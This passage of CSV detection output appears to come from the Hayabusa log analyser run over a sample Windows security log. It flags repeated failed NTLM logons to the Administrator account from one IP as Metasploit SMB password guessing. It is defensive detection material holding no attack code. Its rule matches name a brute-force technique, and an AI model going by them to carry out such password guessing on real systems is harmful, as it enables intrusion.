Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.644 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tDGrsVIC5qVEwC6i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.644 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.686 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UouNQa3EkcsMICiO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.686 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.733 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u0exIftdu0qPLrRC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.733 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.776 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: q5mMNIdJj0BItrv6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.776 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.824 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pb2cVBffdBlwwGQP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.824 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.852 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p2FbHoSFFdnM4wH7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.852 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.917 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RAbCN4xKDDlhmrkU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.917 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.973 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pxBwuSDdNZlE2F96 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.973 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.021 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: M3JkwIQF7yV42rOP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.021 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.062 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6QiHHeHeY8yWOiJg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.062 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.097 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Rhzpo2bEgpJCB51w : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.097 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.145 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AuyPyMMT4wQhLIEz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.145 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.194 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: no5bOZf3SEsrETun : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.194 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.236 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vBTHVleOipnyVFIY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.236 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.284 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JNFE2jNifGI7pELk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.284 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.336 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LgkAKJ57rYqCdbew : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.336 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.385 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: daKQcllU63lW4ypy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.385 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.426 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GBSPSAoEBS7JRYuf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.426 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.469 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 94bI5pb8CGjY3QZD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.469 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.525 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: w1obedLuMFlHlSvA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.525 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.577 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EPn1yJV358YAFALV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.577 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.625 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qA7N5DMAJqNYkumM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.625 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.663 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2Lk95NYGG5iLBFBw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.663 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.709 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: x3DDtXECsK61pIYy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.709 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.754 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rt8bfBDTV5wYfBO4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.754 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.797 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uTYMgN5kmFpyj7xN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.797 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.845 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RmyF6j61wosCE0sg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.845 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.879 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fd61fJBRizl2AIGe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.879 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.924 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bDIFX7lsmGqSGvkA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.924 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.037 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UVmto6S25gU2bkwa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.037 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.115 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B7QMbzSuGuzzMK0v : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.115 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.174 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VJUynF5bN1Oj0vaP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.174 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.221 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dg4ZtybY5BnPN0nX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.221 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.269 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gRmRV9ct3hor8Muk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.269 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.313 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QRjaP1mj9FgKsGBE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.313 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.363 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3CCzzatQ195mcxQ8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.363 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.417 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QJPIrtk5GBAhsUlR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.417 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.528 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 720RHwyXQcxvsJBu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.528 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.606 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GofmHRstuhljMDOL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.606 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.649 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wQUQ4INktwXwRkaY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.649 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.701 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8WHs5hduf7SmUcLK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.701 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.745 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gdo1txjJXiRLbUDH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.745 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.785 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JK8jP3ftKQOyutGe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.785 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.832 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DdbEjo88dBJRhrKp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.832 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.929 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FZCVkXkwhbuSM654 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.929 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.965 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Z2mc9WScfBa88rtO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.965 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.011 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Lee7qYLkXQoz8rRh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.011 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 